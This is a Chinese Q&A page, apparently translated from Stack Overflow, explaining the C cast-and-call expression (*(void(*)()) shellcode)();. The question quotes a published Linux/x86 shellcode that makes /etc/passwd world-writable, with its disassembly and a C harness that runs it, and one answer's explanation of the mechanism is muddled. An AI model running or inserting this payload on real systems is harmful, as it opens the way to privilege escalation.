什么(*(void(*)()) shellcode)();的意思

what (*(void(*)()) shellcode)(); means?

本文关键字:意思 shellcode void 什么      更新时间:2023-10-16

抱歉,如果这听起来微不足道,但谁能给我解释一下这是什么?

(*(void(*)()) shellcode)();

我认为第二个*是设置void是一个指针,但和第一个* ?铸造?()是用来调用某个函数的?

源代码在这里:

/*
# Title: Linux/x86 chmod('/etc/passwd',0777) - shellcode 42 bytes
# Platform: linux/x86_64
# Author: Mohammad Reza Espargham
#    Linkedin    :   https://ir.linkedin.com/in/rezasp
#    E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
#    Website     :   www.reza.es
#    Twitter     :   https://twitter.com/rezesp
#    FaceBook    :   https://www.facebook.com/mohammadreza.espargham

 Disassembly of section .text:

 00000000 <.text>:
 0:    6a 0f                    push   $0xf
 2:    58                       pop    %eax
 3:    68 90 90 ff 01           push   $0x1ff9090
 8:    59                       pop    %ecx
 9:    c1 e9 10                 shr    $0x10,%ecx
 c:    68 90 73 77 64           push   $0x64777390
 11:    5b                       pop    %ebx
 12:    c1 eb 08                 shr    $0x8,%ebx
 15:    53                       push   %ebx
 16:    68 2f 70 61 73           push   $0x7361702f
 1b:    68 2f 65 74 63           push   $0x6374652f
 20:    89 e3                    mov    %esp,%ebx
 22:    cd 80                    int    $0x80
 24:    b0 01                    mov    $0x1,%al
 26:    b3 01                    mov    $0x1,%bl
 28:    cd 80                    int    $0x80
 */
#include <stdio.h>
#include <string.h>
int main(){
    unsigned char shellcode[] = "x6ax0fx58x68x90x90xffx01x59xc1xe9x10x68x90x73x77x64x5bxc1xebx08x53x68x2fx70x61x73x68x2fx65x74x63x89xe3xcdx80xb0x01xb3x01xcdx80";
    fprintf(stdout, "Length: %dnn", strlen(shellcode));
    (*(void(*)()) shellcode)();
}

它将shellcode转换为一个函数指针,不返回任何东西,并接受未指定数量的参数。然后调用它

void (*)()是一个函数的类型,它不返回任何值,接受未指定数目的形参。

/* | --------------------| Cast to a function pointer
   |                     |                         */
(* ((void(*)()) shellcode)) () /*
 ^                           ^ call the function through the pointer
 |-- dereference the pointer */

shellcode是一个函数指针的签名。它用于查找基指针,并添加一些偏移量来查找函数指针。

考虑下面的代码,它是相同的:

#include <iostream>
void anotherFunction()
{
    std::cout << "Im being called" << std::endl;
}
int main()
{
    typedef void (*funcPtr)(void);
    funcPtr f=&anotherFunction;
    f();
    std::cin.get();
    return 0;
}

这和

是一样的
(*(void(*)(void))&anotherFunction)();

除了c的签名。